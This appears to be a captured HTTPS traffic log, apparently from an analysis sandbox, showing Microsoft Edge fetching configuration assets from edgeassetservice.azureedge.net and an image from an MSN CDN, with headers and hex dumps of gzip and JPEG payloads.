2024-11-11 18:52:23 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 3f44444a-801e-0076-1066-34ecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T185223Z-174f7845968t42glhC1EWRa36w000000053g000000007pas Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-11 18:52:23 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49828	13.107.246.40	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	556	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 2bcc90d3-901e-004b-1766-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T185223Z-174f7845968n2hr8hC1EWR9cag0000000520000000002g75 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	15828	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 6b Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:k
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 02 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 f5 Data Ascii: g9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 03 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 ec Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 36 Data Ascii: .Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#6
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 85 Data Ascii: \m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 f6 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f 41 Data Ascii: dqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49831	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Tue, 29 Oct 2024 14:49:16 GMT X-Source-Length: 131943 X-Datacenter: eastus X-ActivityId: 65425a27-7925-4536-9a99-1695cd2ef753 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=71746 Expires: Tue, 12 Nov 2024 14:48:09 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
2024-11-11 18:52:23 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 